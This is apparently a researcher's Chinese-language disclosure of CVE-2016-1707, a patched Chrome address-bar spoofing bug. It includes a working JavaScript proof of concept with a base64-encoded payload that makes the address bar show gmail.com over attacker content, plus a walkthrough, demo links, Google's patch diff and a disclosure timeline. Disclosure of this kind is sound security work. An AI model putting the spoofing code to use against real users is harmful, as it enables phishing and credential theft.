Chrome瀏覽器地址欄欺騙漏洞(CVE-2016-1707)
Chrome瀏覽器地址欄欺騙漏洞(CVE-2016-1707),這個(gè)漏洞筆者于2016年6月報(bào)告給Google,現(xiàn)在把漏洞細(xì)節(jié)分享給大家。URL Spoofing漏洞可以偽造一個(gè)合法的網(wǎng)站地址。攻擊者可以利用這個(gè)漏洞對用戶發(fā)起網(wǎng)絡(luò)釣魚攻擊。
受影響版本:Chrome < v52.0.2743.82,IOS < v10
0x01 漏洞詳情
- POC:
- <script>
- payload="PGJvZHk+PC9ib2R5Pg0KPHNjcmlwdD4NCiAgICB2YXIgbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBsaW5rLmhyZWYgPSAnaHR0cHM6Ly9nbWFpbC5jb206Oic7DQogICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChsaW5rKTsNCiAgICBsaW5rLmNsaWNrKCk7DQo8L3NjcmlwdD4=";
- function pwned() {
- var t = window.open('https://www.gmail.com/', 'aaaa');
- t.document.write(atob(payload));
- t.document.write("<h1>Address bar says https://www.gmail.com/ - this is NOT https://www.gmail.com/</h1>");
- }
- </script>
- <a href="https://hack.com::/" target="aaaa" onclick="setTimeout('pwned()','500')">click me</a><br>
那么這個(gè)漏洞是如何發(fā)生的呢?筆者現(xiàn)在來解讀一下整個(gè)代碼的加載過程。首先點(diǎn)擊click me這個(gè)鏈接,瀏覽器去打開一個(gè)name為aaaa的新窗口,這個(gè)頁面去加載“https://hack.com::”,這個(gè)地址可以隨便寫。500微秒后運(yùn)行pwned(),在aaaa窗口打開https://www.gmail.com,當(dāng)然這個(gè)URL可以為空。到現(xiàn)在為止,一切代碼運(yùn)行都很正常,接下來這段代碼就是觸發(fā)漏洞的核心代碼。
base64加密的這段代碼:
- base64 payload code:
- <body></body>
- <script>
- var link = document.createElement('a');
- link.href = 'https://gmail.com::';
- document.body.appendChild(link);
- link.click();
- </script>
接下來這段代開始在aaaa窗口頁面去提交(commit)https://gmail.com::,這是一個(gè)很奇妙的事情,https://gmail.com::本是一個(gè)無效的地址,如何去被提交呢。在嘗試了多種方法后,筆者發(fā)現(xiàn)使用a標(biāo)簽點(diǎn)擊的方式可以做到(window.open/location則不可以),并且使這個(gè)無效地址處在了一個(gè)等待狀態(tài)(pending status)。此時(shí),實(shí)際Chrome是加載了about:blank(已經(jīng)到了about:blank域),但在處理最后URL地址欄中的顯示時(shí),Chrome卻選擇了處在等待狀態(tài)的https://gmail.com:: 作為最后的提交地址,加載后的https://gmail.com::在URL地址欄中會以https://gmail.com這樣的方式呈現(xiàn),兩個(gè)::會被隱藏。此時(shí),整個(gè)加載過程完成。一個(gè)完美的URL Spoofing漏洞就這樣產(chǎn)生了。
Online demo:
http://xisigr.com/test/spoof/chrome/1.html
http://xisigr.com/test/spoof/chrome/2.html
如果你還沒有升級版本,Chrome < v52.0.2743.82,IOS < v10,那么可以嘗試運(yùn)行筆者網(wǎng)站上的這兩個(gè)DEMO。
0x02如何修復(fù)
這個(gè)漏洞最關(guān)鍵的地方是,Chrome允許在Web頁面加載的時(shí)候,提交一個(gè)無效的地址所導(dǎo)致。Google也是基于此給出了補(bǔ)丁文件,就是在加載Web頁面的時(shí)候不允許提交無效地址,如果檢測到是無效地址,則直接使當(dāng)前URL為about:blank。
- [self optOutScrollsToTopForSubviews];
- // Ensure the URL is as expected (and already reported to the delegate).
- - DCHECK(currentURL == _lastRegisteredRequestURL) //之前只是判斷了當(dāng)前URL和最后請求的URL是否相同
- + // If |_lastRegisteredRequestURL| is invalid then |currentURL| will be
- + // "about:blank".
- + DCHECK((currentURL == _lastRegisteredRequestURL) ||
- + (!_lastRegisteredRequestURL.is_valid() && //增加判斷是否是一個(gè)無效的URL
- + _documentURL.spec() == [url::kAboutBlankURL)](url::kAboutBlankURL)))
- << std::endl
- << "currentURL = [" << currentURL << "]" << std::endl
- << "_lastRegisteredRequestURL = [" << _lastRegisteredRequestURL << "]";
- // This is the point where the document's URL has actually changed, and
- // pending navigation information should be applied to state information.
- [self setDocumentURL:net::GURLWithNSURL([_webView URL])];
- - DCHECK(_documentURL == _lastRegisteredRequestURL);
- +
- + if (!_lastRegisteredRequestURL.is_valid() &&
- + _documentURL != _lastRegisteredRequestURL) {
- + // if |_lastRegisteredRequestURL| is an invalid URL, then |_documentURL|
- + // will be "about:blank".
- + [[self sessionController] updatePendingEntry:_documentURL];
- + }
- + DCHECK(_documentURL == _lastRegisteredRequestURL ||
- + (!_lastRegisteredRequestURL.is_valid() &&
- + _documentURL.spec() == url::kAboutBlankURL));
- +
- self.webStateImpl->OnNavigationCommitted(_documentURL);
- [self commitPendingNavigationInfo];
- if ([self currentBackForwardListItemHolder]->navigation_type() ==
0x03 披露時(shí)間
2016/6/22 報(bào)送給Google,https://bugs.chromium.org/
2016/6/22 Google確認(rèn)漏洞,漏洞級別High
2016/7/14 Google確認(rèn)獎勵$3000
2016/7/20 Google發(fā)布安全公告,CVE-2016-1707
2016/10/2 Google公開漏洞